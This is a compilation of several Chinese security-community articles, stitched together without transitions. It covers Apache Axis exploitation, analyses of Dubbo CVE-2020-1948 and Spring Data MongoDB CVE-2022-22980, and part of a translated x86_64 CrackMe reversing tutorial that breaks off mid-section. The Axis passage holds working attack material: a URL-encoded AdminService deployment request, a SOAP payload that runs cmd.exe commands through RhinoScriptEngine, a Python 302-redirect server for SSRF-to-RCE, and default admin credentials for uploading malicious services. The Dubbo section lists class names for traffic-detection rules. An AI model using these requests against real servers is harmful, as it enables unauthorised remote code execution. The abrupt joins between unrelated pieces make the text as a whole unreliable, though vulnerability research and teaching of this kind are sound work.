GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
通过get或post请求部署完成后，访问刚才部署的service并调用它的eval方法，还可以回显：
POST /axis/services/RhinoScriptEngineService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 866
<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav="http://javascript.script.sun.com"><soapenv:Body><eval xmlns="http://127.0.0.1:8080/services/scriptEngine"><arg0 xmlns="">
<![CDATA[function test(){ var cmd1 = 'c'; cmd1 += 'm'; cmd1 += 'd'; cmd1 += '.'; cmd1 += 'e'; cmd1 += 'x'; cmd1 += 'e'; var cmd2 = '/'; cmd2 += 'c'; var pb = new java.lang.ProcessBuilder(cmd1,cmd2,'whoami'); var process = pb.start(); var ret = new java.util.Scanner(process.getInputStream()).useDelimiter('\\A').next(); return ret;} test();]]></arg0><arg1 xmlns="" xsi:type="urn:SimpleScriptContext" xmlns:urn="urn:beanservice">
</arg1></eval></soapenv:Body></soapenv:Envelope>
**缺陷：**
jdk7及之前的版本可以用，之后的版本就不是这个ScriptEngine类了，取代他的是NashornScriptEngine，但是这个NashornScriptEngine不能利用。
###### 1.4.1.4 说明
如果是白盒其实很容易找到很好用的利用类，在jdk中利用lookup的恶意类其实也很多，即使你碰到的环境是jdk8以上，jsp不解析，jndi也被禁用，但是应用依赖的三方包中依然存在很多可利用的恶意类，例如通过下面的关键词简单搜索筛选下也应该能找到一些：
Runtime.getRuntime()
new ProcessBuilder(
.eval(
.exec(
new FileOutputStream(
.lookup(
.defineClass(
...
如果经常黑盒可以收集一些使用量较大的三方包中能利用的恶意类。
另一个问题就是作为恶意Bean的构造器选择问题，来看demo示例一个java.io.File作为参数的例子，这里直接在wsdd中配置HelloWorld
Service演示了，配置如下就行：
<typeMapping languageSpecificType="java:java.io.File" qname="xxx:FileBean" xmlns:xxx="urn:FileBeanManager"
serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
</typeMapping>
然后在HelloWord类中，写个测试方法，`public boolean saveFile(File file, byte[] bytes)
{`将File类作为参数，下面用soap ui来测试下：
下面是File构造器的选择，在1.2.6.1小节也说到了这个问题，感觉是个设计缺陷，这里construtors的第一个是两个String参数的构造器：
然后在org.apache.axis.encoding.ConstructorTarget#set通过构造器赋值，这里也是一个设计缺陷：
我传入的值分别为./和test.jsp，但是经过他的处理后args变成了./和./，接下来到example.HelloWorld#saveFile去看看值：
可以看到File的值为`./.`导致不存在而错误，再假设传入的值为./webapps/ROOT/test.jsp把，到这里就会变成./webapps/ROOT/test.jsp/webapps/ROOT/test.jsp还是不存在而错误。
所以寻找Bean这种作为参数的恶意类有时候会因为Axis的这些设计问题导致不一定能利用。
##### 1.4.2 利用AdminService + SSRF进行未授权RCE
由于AdminService只能localhost访问，一般来说，能进行post请求的ssrf不太可能，所以一般利用ssrf进行get请求来部署恶意服务，只需要找到一个ssrf即可rce。
在demo示例项目中，我添加了一个SSRFServlet，并且不是请求完成的url，而是解析出协议,ip，port重新组合再请求，这里这么模拟只是为了模拟更严苛环境下，依然可以利用重定向来利用这个漏洞，大多时候http的请求类默认应该是支持重定向的。用上面的RhinoScriptEngine作为恶意类来模拟。
302服务器：
import logging
import random
import socket
import sys
import threading
import time
from http.server import SimpleHTTPRequestHandler, HTTPServer
logger = logging.getLogger("Http Server")
logger.addHandler(logging.StreamHandler(sys.stdout))
logger.setLevel(logging.INFO)
class HTTPServerV4(HTTPServer):
address_family = socket.AF_INET
class MHTTPServer(threading.Thread):
def __init__(self, bind_ip='0.0.0.0', bind_port=666, requestHandler=SimpleHTTPRequestHandler):
threading.Thread.__init__(self)
self.bind_ip = bind_ip
self.bind_port = int(bind_port)
self.scheme = 'http'
self.server_locked = False
self.server_started = False
self.requestHandler = requestHandler
self.httpserver = HTTPServerV4
self.host_ip = self.get_host_ip()
self.__flag = threading.Event()
self.__flag.set()
self.__running = threading.Event()
self.__running.set()
def check_port(self, ip, port):
res = socket.getaddrinfo(ip, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
af, sock_type, proto, canonname, sa = res[0]
s = socket.socket(af, sock_type, proto)
try:
s.connect(sa)
s.shutdown(2)
return True
except:
return False
finally:
s.close()
def get_host_ip(self):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(('8.8.8.8', 80))
ip = s.getsockname()[0]
except Exception:
ip = '127.0.0.1'
finally:
s.close()
return ip
def start(self, daemon=True):
if self.server_locked:
logger.info(
'Httpd serve has been started on {}://{}:{}, '.format(self.scheme, self.bind_ip, self.bind_port))
return
if self.check_port(self.host_ip, self.bind_port):
logger.error('Port {} has been occupied, start Httpd serve failed!'.format(self.bind_port))
return
self.server_locked = True
self.setDaemon(daemon)
threading.Thread.start(self)
detect_count = 10
while detect_count:
try:
logger.info('Detect {} server is runing or not...'.format(self.scheme))
if self.check_port(self.host_ip, self.bind_port):
break
except Exception as ex:
logger.error(str(ex))
time.sleep(random.random())
detect_count -= 1
def run(self):
try:
while self.__running.is_set():
self.__flag.wait()
if not self.server_started:
self.httpd = self.httpserver((self.bind_ip, self.bind_port), self.requestHandler)
logger.info("Starting httpd on {}://{}:{}".format(self.scheme, self.bind_ip, self.bind_port))
thread = threading.Thread(target=self.httpd.serve_forever)
thread.setDaemon(True)
thread.start()
self.server_started = True
self.httpd.shutdown()
self.httpd.server_close()
logger.info('Stop httpd server on {}://{}:{}'.format(self.scheme, self.bind_ip, self.bind_port))
except Exception as ex:
self.httpd.shutdown()
self.httpd.server_close()
logger.error(str(ex))
def pause(self):
self.__flag.clear()
def resume(self):
self.__flag.set()
def stop(self):
self.__flag.set()
self.__running.clear()
time.sleep(random.randint(1, 3))
class Http302RequestHandler(SimpleHTTPRequestHandler):
location = ""
def do_GET(self):
status = 302
self.send_response(status)
self.send_header("Content-type", "text/html")
self.send_header("Content-Length", "0")
self.send_header("Location", Http302RequestHandler.location)
self.end_headers()
if __name__ == '__main__':
Http302RequestHandler.location = "http://127.0.0.1:8080/axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment"
httpd = MHTTPServer(bind_port=8888, requestHandler=Http302RequestHandler)
httpd.start(daemon=True)
while True:
time.sleep(100000)
启动302服务器，访问<http://yourip:8080/axis/SSRFServlet?url=http://evilip:8888/>
使用SSRFServlet请求302服务器并重定向到locaohost进行部署服务。
### 2\. Apache Axis2
Apache Axis2是Web服务/ SOAP / WSDL引擎，是广泛使用的[Apache
Axis1](http://ws.apache.org/axis/)
SOAP堆栈的后继者。与[Axis1.x架构](http://ws.apache.org/axis/java/architecture-guide.html)相比，Axis2所基于的新架构更加灵活，高效和可配置。新体系结构中保留了一些来自Axis 1.x的完善概念，例如处理程序等。
#### 2.1 搭建Axis2项目
##### 2.1.1 使用idea搭建Axis2
从Axis2官网下载[war](http://www.apache.org/dyn/closer.lua/axis/axis2/java/core/1.7.9/axis2-1.7.9-war.zip)包，解压war包之后将axis2-web和WEB-INF复制到项目的web目录下，结构如下：
然后可以在services目录下配置自己的service服务，部署到tomcat即可。项目demo放在了[github](https://github.com/longofo/ApacheAxis2VulDemo)
##### 2.1.2 访问WebService
如果按照上面步骤搭建的项目，访问首页之后会出现如下页面：
访问/axis2/services/listServices会出现所有已经部署好的web
services（Axis2不能像Axis1那样用直接访问/services/或用?list列出services了）。
#### 2.2 Axis2与Axis1配置文件的变化
##### 2.2.1 axis2.xml全局配置文件
在Axis1的全局配置和service配置都在server-config.wsdd中配置。但是Axis2的全局配置单独放到了axis2.xml中，下面说下和后面漏洞利用有关的两个配置：
配置了允许部署.aar文件作为service，.aar就是个压缩包文件，里面包含要部署的类和services.xml配置信息，官方默认也给了一个version-1.7.9.aar示例。
另一个配置是axis2-admin的默认登陆账号和密码，登陆上去之后可以上传.aar部署恶意service。
##### 2.2.2 services.xml
Axis2的service配置改为了在WEB-INF/services目录下配置，Axis2会扫描该目录下的所有xxx/META-INF/services.xml和services.list文件：
##### web.xml
Axis1中从web端部署service使用的是AdminService，在Axis2中改成了使用`org.apache.axis2.webapp.AxisAdminServlet`，在web.xml中配置：
#### 2.3 Axis2的漏洞利用
利用主要还是有两种：
* 暴露在外部的web service能直接调用造成危害
* 从上面的配置文件我们也可以看到，可以使用axis2-admin来部署.arr文件，.arr文件可以写入任意恶意的class文件，默认账号admin/axis2，不需要像axis1那样寻找目标服务器存在的class
利用axis2-admin上传.arr：
.arr文件的制作可以仿照version-1.7.9.aar，如下结构即可：
META-INF
services.xml(将ServiceClass配置成test.your即可)
test
your.class
#### 2.4 Axis2非默认配置的情况
上面的项目是直接复制了官方所有的配置文件，所以访问首页有官方给出的页面，以及axis2-admin，axis2-admin的AxisAdminServlet类不在官方的jar包中，只是在classes目录下，也就是说axis2-admin也是demo的一部分。如果不需要官方的那些东西的时候，axis2-admin的方式利用就不行了，但是也是能正常调用其他service的，项目结构如下：
此时访问http://127.0.0.1:8080/axis2/services/listServices会变成500，看下服务端的报错：
listServices.jsp找不到，之前能调用listServices是因为用了官方的demo。
但是直接访问service是正常的并且可以调用：
这种情况下，如果是黑盒就不太好办了，看不到service，只能暴力猜解service name。
* * * | 社区文章 |
# Apache Dubbo漏洞CVE-2020-1948分析
##### 译文声明
本文是翻译文章
原文地址：<https://mp.weixin.qq.com/s/wU1iacELbhspWMftRIQdeA>
译文仅供参考，具体内容表达以及含义原文为准。
作者：银河安全实验室
## 0x01 简述
Dubbo是阿里巴巴一种开源的RPC服务框架，常被用来做分布式服务远程对象的调用，日前Dubbo被发现有CVE-2020-1948的远程代码执行漏洞，官方针对这一漏洞发布了新版本Dubbo2.7.7，对源码分析发现修复方式并不能阻止CVE-2020-1948漏洞利用。
## 0x02 补丁分析
针对爆发漏洞时间节点的commit记录发现，官方对传入参数做了类型的校验，针对修复的commit记录，我们做了详细的分析。
### 2.1 时间线
Dubbo漏洞爆发的时间线如下图所示：
### 2.2 修复代码分析
对提交修复的commit代码分析发现在DecodeableRpcInvocation中增加了输入参数类型的校验。Commits记录截图如下图所示：
点开查看代码，在原有的基础上增加了参数类型的校验，补丁代码如下图所示：
这里的parameterTypes是限制为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;，如下图所示；
本次poc传入的参数类型为Class<?>类型。类路径为Class<?>class
com.rometools.rome.feed.impl.ToStringBean类，如果对参数检查是可以有效阻止漏洞的利用，然而修复错了地方。
从git的commit记录来看，官方的修复思路推测是想在异常抛出前利用参数类型的校验并拦截，防止引用的toString()方法造成代码执行。
但是拦截错了地方，通过对源码的单步调试发现，此处抛出的异常并不在漏洞触发的调用链上，具体的漏洞分析可见下文。
## 0x03 漏洞分析
CVE-2020-1948远程代码执行漏洞原理是远程方法被动态调用导致的代码执行。
下文将会对本次漏洞利用方式和触发原理进行分析，因为本次代码执行漏洞触发原理与Java的反射机制相关，下文将简单阐述Java的反射机制。
### 3.1 Java 反射机制
Java的反射机制是指在程序的运行状态中，程序对于任意一个类都能知道这个类的所有属性和方法；对于任意一个对象，都能调用它的任意一个属性和方法；这种动态的信息获取和调用机制被称为Java的反射机制。
Dubbo本次的漏洞触发原理就是toStringBean类内部动态调用外部传入对象的方法导致的代码执行。在研究漏洞的触发前，需要先简单了解为什么toStringBean类会在代码中动态调用外部对象的方法。
### 3.2 toStringBean类初探
ToStringBean类是一个可以被序列化的公共类，可以将对象的类型和方法转成字符串供调用。
在ToStringBean实现的toString方法中，会遍历传入对象的所有方法（Method对象），并且通过java实现的invoke方法动态调用传入对象的所有Method对象。
toString实现方法如下图所示：
### 3.3 漏洞触发点
漏洞触发点在com.rometools.rome.feed.impl.ToStringBean类的toString方法中，toString方法中的getter.invoke(obj,
NO_PARAMS);语句，如下图所示：
上图是动态运行中的调试截图，可以从图中看出obj参数的值为JdbcRowSetImpl类的实例化对象，当此处for循环执行到JdbcRowSetImpl类中getDatabaseMetData函数时候，会调用函数内connect方法，导致执行JdbcRowSetImpl的执行链，导致代码执行。
### 3.4 ToStringBean的调用链跟踪
一个正常的dubbo的服务调用，当找不到注册的service的时候会抛出异常，抛出异常的截图如下图所示：
这个inv是DecodeableRpcInvocation的实例化对象。上述红箭头中的+
inv语法会默认调用inv实例化对象的toString()方法，DecodeableRpcInvocation的toString()方法实现在父类Rpcinvocation中，跟进查看Rpcinvocation.java中的toString方法，截图如下：
上图中的argements方法根据右边的变量调试信息显示，实际上就是ToStringBean类的实例化对象，其中该对象有两个参数，beanClass是Class<?>类型，obj是Object类型，此时的调用栈显示obj是JdbcRowSetImpl实例化对象，beanClass是Class.ForName(“com.sun.rowset.JdbcRowSetImpl”)对象。Array.toString(Object[]
obj)方法，将会在底层调用String.valueOf(Objectobj)，此时这个obj对象是带有恶意负载的argements对象，继续往下跟踪Array.toString将argements向下执行，Array.toString(Object[]
obj)方法如下图所示：
上图中可以发现传入的对象最后会经过String.valueOf转变为字符串储存在b变量里，继续往下跟踪，在String.valueOf方法中，当传入对象为toStringBean的时候，会调用toStringBean对象的toString()方法，String.valueOf方法如下图所示：
当进入ToStringBean的toString()方法的时候，如之前漏洞触发点所陈述，携带有恶意负载的对象，将会被执行恶意代码。由此我们清楚的看到了调用链，如下：
throw new RemotingException
->RpcInvocation.toString()->Arrays.toString()->String.valueOf()->toStringBean.toString()->getter.invoke(obj,NO_PARAMS)
最终在ToStringBean的toString()方法中Invoke动态调用对象造成代码执行。
### 3.5 缓解措施
一、内网服务
1、服务器防火墙添加内网IP白名单策略。
2、限制服务器的公网权限。
3、Dubbo-RPC基于TCP实现，并且当前Poc基于LDAP实现JNDI，因此可以在防火墙封禁掉dubbo服务端口的恶意TCP数据包。
二、外网服务
1、漏洞被利用的类在rome-{version}.jar包中，公网服务可以考虑自查是否引用了rome-{version}.jar包，如果引用了可以考虑重写toString()方法，重新编译并加载到生产环境。
2、服务器防火墙添加IP白名单策略。
三、流量设备类监控
1、在流量检测设备上可以增加检测规则，通过分析发现流量中可能会包含以下危险类的关键字（如：org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding,org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor,com.rometools.rome.feed,
com.caucho.naming.QName, com.rometools.rome.feed.impl.ToStringBean等）。
下图是复现过程中的流量抓包：
## 0x04 漏洞复现
用最新版本dubbo-2.7.7版本做漏洞复现，显示最新版本仍存在CVE-2020-1948漏洞。
引用dubbo-samples的http的例子，git地址为<https://github.com/apache/dubbo-samples>，加载之后需要修改配置，将只支持http协议的方式修改为dubbo-rpc协议，maven相关配置如下图所示：
启用服务之后，利用传统的jndi的利用方式，在公网启用ldap服务和http服务，http服务目录下放入我们需要加载的远程执行代码的class文件。
本文中漏洞复现选择在windows本机上弹出计算器。
截至目前官方给出的最新版本依然存在该风险，利用如下图所示：
### 4.2 利用方式详解
本次漏洞复现的利用方式采用了JNDI远程加载恶意类的方式。
本次选用的反射链是com.sun.rowset.JdbcRowSetImpl，jdk对于该链在较新的版本有限制，在做漏洞复现的过程中尽量使用低版本的jdk版本，如环境有限制需要配置特定的绕过策略。
本次dubbo的漏洞触发点与fastjson有所不同，fastjson使用该链造成代码执行是因为在setAutoCommit方法的时候，该方法中会使用this.connect()方法，connect()方法中可以使用jndi的方式加载恶意类造成代码执行。
本次dubbo的利用方式虽然也是在connect()方法中被使用jndi的方式加载恶意类，但是dubbo是动态调用了JdbcRowSetImpl的getDatabaseMetaData方法，造成了connect方法被执行。
getDatabaseMetaData方法源码如下图所示：
从上图可以看出getDatabaseMetaData对象中也调用了connect方法，connect方法中会加载dataSource指向的地址，被加载远程Reference对象，造成JNDI方式的远程代码执行。 | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/8zzXZgSwHAmte5t7KSDhdA>**
## **漏洞描述**
6月20号，VMware发布安全公告，修复了spring Data MongoDB
组件中的一个SpEL表达式注入漏洞，该漏洞的CVSSv3评分为8.2，漏洞编号：CVE-2022-22980，漏洞威胁等级：高危。
Spring Data
MongoDB应用程序在对包含查询参数占位符的SpEL表达式使用@Query或@Aggregation注解的查询方法进行值绑定时，若输入未被过滤，则易遭受SpEL注入攻击。该漏洞允许未经身份验证的攻击者构造恶意数据执行远程代码，最终获取服务器权限。
## **相关介绍**
Spring Data for MongoDB是 Spring Data
项目的一部分，该项目旨在为新的数据存储提供熟悉和一致的基于Spring的编程模型，同时保留存储的特定特征和功能。Spring
表达式语言(简称SpEL)：是一个支持运行时查询和操作对象图的强大的表达式语言，也是一种简洁的装配Bean的方式，它通过运行期执行的表达式将值装配到Bean的属性或构造器参数中。
通过 SpEL 可以实现：通过 bean 的 id 对 bean 进行引用；调用方式以及引用对象中的属性；计算表达式的值；正则表达式的匹配。
## **利用范围**
Spring Data MongoDB == 3.4.0
3.3.0 <= Spring Data MongoDB <= 3.3.4
更早或不再受支持的Spring Data MongoDB版本也受到此漏洞影响。
## **漏洞分析**
### **环境搭建**
此次采用threedr3am师傅的漏洞demo（<https://github.com/threedr3am/learnjavabug/tree/master/spring/spring-data-mongodb-spel-CVE-2022-22980>）进行复现分析。
### **动态调式**
在调试之前查看一下demo中的DemoController，其构造的请求路径为/demo，请求参数为keyword。
根据diff(<https://github.com/spring-projects/spring-data-mongodb/commit/7c5ac764b343d45e5d0abbaba4e82395b471b4c4?diff=split>)记录发现，此次漏洞修复的主要位置在ParameterBindingJsonReader
类的 bindableValueFor 函数。
话不多说，先在org.springframework.data.mongodb.util.json.ParameterBindingJsonReader#bindableValueFor函数处打下断点。
将环境运行起来后开启debug模式。使用burp抓包并传入payload后，立即触发断点。
持续跟进，当第一次到达漏洞触发点时，发现并未成功触发payload。
继续跟进，发现在org.springframework.data.mongodb.util.json.ParameterBindingJsonReader#readBsonType函数中判断token的Type属性后，进入到UNQUOTED_STRING，在这里进行setCurrentName操作，value为id。
随后回到bindableValueFor函数，后续经过对value的处理，value由id变为了:#{?0}。
在value为:#{?0}后，会再次进入org.springframework.data.mongodb.util.json.ParameterBindingJsonReader#bindableValueFor函数。
在bindableValueFor函数中首先对tokenValue进行了赋值，随后对tokenValue进行PARAMETER_BINDING_PATTERN和EXPRESSION_BINDING_PATTERN规则匹配。
EXPRESSION_BINDING_PATTERN只能匹配 ?#{} 或者：#{}形式的字符串。
随后，将赋值交给binding，再通过substring取出占位符?0
接下来通过for循环将占位符和传入的payload进行替换。
同时通过PARAMETER_BINDING_PATTERN规则匹配成功后即认为是spel表达式格式，此时expression为传入payload。
执行this.evaluateExpression。
最终进入org.springframework.data.mongodb.repository.query.DefaultSpELExpressionEvaluator#evaluate函数，此时使用的是
StandardEvaluationContext 类型，包含了 SpEL 所有的功能。
此时的 SpEL表达式为之前构造的恶意攻击载荷，可成功命令执行。
### **漏洞复现**
## **修复建议**
目前此漏洞已经修复，受影响的用户建议尽快升级至官方修护版本：
Spring Data MongoDB 3.4.1或更高版本；
Spring Data MongoDB 3.3.5或更高版本。
下载链接：
<https://github.com/spring-projects/spring-data-mongodb/tags>
## **参考材料**
1.<https://tanzu.vmware.com/security/cve-2022-22980>
2.<https://xz.aliyun.com/t/11478>
3.<https://spring.io/blog/2022/06/20/spring-data-mongodb-spel-expression-injection-vulnerability-cve-2022-22980>
* * * | 社区文章 |
本文翻译自：[An Intro to x86_64 Reverse
Engineering](https://leotindall.com/tutorial/an-intro-to-x86_64-reverse-engineering/)
系列第二篇：[其他练习](https://xz.aliyun.com/t/2492)
* * *
本文档通过一系列CrackMe程序介绍x86_64二进制逆向工程。逆向工程是了解已编译计算机程序的行为而无需获得其源代码的过程。
关于逆向工程已有很多优秀的教程，但它们主要是在32位x86平台上进行逆向。而现代计算机几乎都是64位的，因此本教程引入了64位的概念。
CrackMe是一类可执行文件，它（通常）由用户输入一个参数，程序对其进行检查，并返回一条消息，告知用户输入是否正确。
如果您喜欢本教程，请考虑支持我的[Patreon](https://www.patreon.com/leotindall)，这样我就可以更好地做教程。
# 前期准备
## 知识
本教程假定您对编程有一定的了解，但并不需要具备汇编，CPU架构和C编程的知识。 **您应该知道编译器的功能** ，但您不必知道如何实现它。同样，
**您应该知道寄存器是什么** ，但您不需要记住x86寄存器或指令。我反正不会去记这些。
如果您是一个熟练的程序员，但不知道汇编，我建议您看看[x86 Crash
Course](https://www.youtube.com/watch?v=75gBFiFtAb8)。这是一个10分钟的视频，可以让您了解本教程所需的背景知识。
## CrackMe程序
您可以在[GitHub](https://github.com/leotindall/crackmes)上找到文中讨论的CrackMe程序。克隆这个存储库，并且
_在不查看源代码的情况下_ ，使用`make crackme01` ,`make crackme02`,……构建所有CrackMe。
## 工具和软件
这些CrackMe仅适用于Unix系统，我使用Linux编写本教程。您需要安装开发环境的基本知识——C编译器（`gcc`）、对象检查工具（`objdump`，`objcopy`，`xxd`）等等。本教程还将教您如何使用[Radare2](http://radare.org/r/pics.html)，这是一个先进的开源逆向工程工具包。在Debian派生的系统上，您应执行以下命令：
sudo apt install build-essential gcc xxd binutils
您可以在[这里](https://github.com/radare/radare2)安装Radare2。
对于其他系统，通过对应系统的包管理器安装相应的包即可。
# CrackMe解答
> **注意**
> ：在后面的解答中，我会讨论文件偏移。这些值在您的机器上可能会有所不同，但我一定会解释我是如何得到它们的。所以如果您对于某些偏移的值感到困惑，您只需搜索这个偏移量，看看我是如何得到它们的。
## crackme01.c
`crackme01.64`是一个相对简单的程序。运行后会显示如下输出
$ ./crackme01.64
Need exactly one argument.
随便给它一个参数，这里用了`lmao`：
$ ./crackme01.64 lmao
No, lmao is not correct.
这是预料之中的，我们不知道密码。当遇到这种情况时，我们应该首先考虑程序做了些什么。检查字符串是否正确的最简单方法是，将它与存储在二进制文件中的另一个字符串进行简单比较。二进制文件对我们来说可能看起来不透明，但实际上并非如此。和其他文件一样，它是一个充满了数据的文件，只是以一种特定的方式组合。
> **亲自尝试一下** ：用`cat`、`less`或者其他其他您喜欢的文本编辑器查看可执行程序。
如果我们只是简单地`cat`，我们会得到一堆乱码。有一个名为`strings`的标准Unix工具，它会尝试在给定文件中提取所有有效的字符串（字符串是可打印字符和空字符的组合）。
$ strings ./crackme01.64
/lib/ld-linux.so.2
WXZd
libc.so.6
_IO_stdin_used
__printf_chk
puts
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.3.4
...
.dynamic
.data
.bss
.comment
.debug_aranges
.debug_info
.debug_abbrev
.debug_line
.debug_str
.debug_loc
这里产生了 _很多_ 输出。我们可以从中找到一些有用的东西，现在我们只是寻找密码。
> **亲自尝试一下** ：在`strings`的输出中寻找密码。这是解决这个问题仅需的方法。
### 解答
这个问题中，您只需要滚动列表，然后就能发现下面几行：
...
[^_]
Need exactly one argument.
password1
No, %s is not correct.
Yes, %s is correct!
;*2$"
...
您可以看到我们已经知道的两个字符串：`Need exactly one argument.`和`No, %s is not
correct..`请注意，`%s`是告诉C的`printf`函数打印字符串的控制字符串，并可以猜测最后会替换为我们在命令行输入的字符串。
在这两个字符串之间，我们发现有一个可疑的东西。来试试看：
$ ./crackme01.64 password1
Yes, password1 is correct!
成功了！您可能会惊讶于在二进制文件上简单地调用`strings`会产生这么多有用的知识。
> **练习** ：有一个名为`crackme01e.c`的文件可以使用相同的方法解决。编译并尝试解决它，巩固您的技能。
## crackme02.c
这个 CrackMe 稍微更难一些。您可以尝试上面的步骤，但会发现找到的密码是无效的！
> **亲自尝试一下** ：在接着阅读之前，试着想想为什么会这样。
我们用`objdump`来查看程序的实际行为。`objdump`是一个非常强大的二进制文件检查工具，您可能需要使用系统的包管理器进行安装。
二进制程序是一系列机器指令。`objdump`允许我们反汇编这些机器指令，并将它们表示为稍微更易读的汇编助记符。
在这个题目中，运行`objdump -d crackme02.64 -Mintel |
less`，我们将获得一个汇编指令清单。我通过`less`管道查看，因为它很长。
第一行告诉我们我们正在看什么：`crackme02.64: file format elf64-x86-64`。它是 Intel x86_64
（即AMD64） CPU 架构上的64位 ELF 可执行文件。在这之后有许多节（section），如下所示：
Disassembly of section .init:
0000000000000590 <_init>:
590: 48 83 ec 08 sub rsp,0x8
594: 48 8b 05 3d 0a 20 00 mov rax,QWORD PTR [rip+0x200a3d] # 200fd8 <__gmon_start__>
59b: 48 85 c0 test rax,rax
59e: 74 02 je 5a2 <_init+0x12>
5a0: ff d0 call rax
5a2: 48 83 c4 08 add rsp,0x8
5a6: c3 ret
...
其中大多数的节是在编译后由链接器插入的，因此与检查密码的算法无关。我们可以跳过除`.text`节之外的所有内容。它开始是这样的：
Disassembly of section .text:
00000000000005e0 <_start>:
5e0: 31 ed xor ebp,ebp
5e2: 49 89 d1 mov r9,rdx
5e5: 5e pop rsi
5e6: 48 89 e2 mov rdx,rsp
5e9: 48 83 e4 f0 and rsp,0xfffffffffffffff0
5ed: 50 push rax
5ee: 54 push rsp
...
同样，这是链接器插入的函数。我们不关心任何与`main`函数无关的事情，所以继续滚动直到您看到：
0000000000000710
:
710: 48 83 ec 08 sub rsp,0x8
714: 83 ff 02 cmp edi,0x2
717: 75 68 jne 781
719: 48 8b 56 08 mov rdx,QWORD PTR [rsi+0x8]
71d: 0f b6 02 movzx eax,BYTE PTR [rdx]
720: 84 c0 test al,al
...
在最左的一列中列出了每个指令的地址（十六进制）。往右一列是原始机器代码字节，表示为十六进制数对（两个十六进制数组成一组）。最后一列是 objdump
生成的等效汇编代码。
我们分解这个程序。首先是 sub rsp，0x8 ，这将堆栈指针向下移动8，在堆栈上为8个字节的变量分配空间。请注意， **我们对这些变量一无所知**
。这些空间可以表示8个字符，也可以是一个指针（它是64位可执行文件）。
接下来，有一个非常标准的 jump-if 条件：
cmp edi,0x2
jne 781
如果您不知道这些指令的作用，可以去搜索。在这里，我们将`edi`寄存器与十六进制数2进行比较（`cmp`），如果它们不相等则跳转（`jne`）。
所以问题是，那个寄存器中存放了什么？这是一个Linux
x86_64可执行文件，因此我们可以查找调用约定（[Wikipedia](https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI)）。发现`edi`是目标索引（Destination
Index）寄存器的低32位，是函数的第一个参数存放的位置。想想`main`函数是如何用C编写的，它的声明是：`int main（int argc，char
** argv）`。所以这个寄存器保存第一个参数：`argc`，就是程序的参数个数。
### 查找明文字符串
因此，这个比较跳转是检查程序是否有两个参数。（注意：第一个参数是程序的名称，所以它实际上检查是否有一个用户提供的参数。）如果不是，它会跳转到主程序的另一部分，在地址781：
lea rdi,[rip+0xbc]
call 5c0 <.plt.got>
mov eax,0xffffffff
jmp 77c
在这里，我们将一个值的地址加载（`lea`）到`rdi`中（还记得吗，这是函数的第一个参数），然后调用一个地址是5c0的函数。看一下该行的反汇编：
5c0: ff 25 02 0a 20 00 jmp QWORD PTR [rip+0x200a02] # 200fc8
`objdump`注释了这条指令，告诉我们它正在跳转到`libc`函数`puts`。该函数只需要一个参数：一个指向字符串的指针，然后将其打印到控制台。所以这段代码打印了一个字符串。但那是什么字符串？
要回答这个问题，我们需要查看载入到`rdi`中的内容。看看这条指令：`lea rdi,[rip + 0xbc]` 。这计算了指令指针（Instruction
Pointer ，指向下一条指令的指针）向前0xbc的地址，并将该地址存储在`rdi`中。
因此我们打印的是在此指令之前的0xbc字节中的内容。我们可以自己计算：0x788（下一条指令）+ 0xbc（偏移）= 0x845。
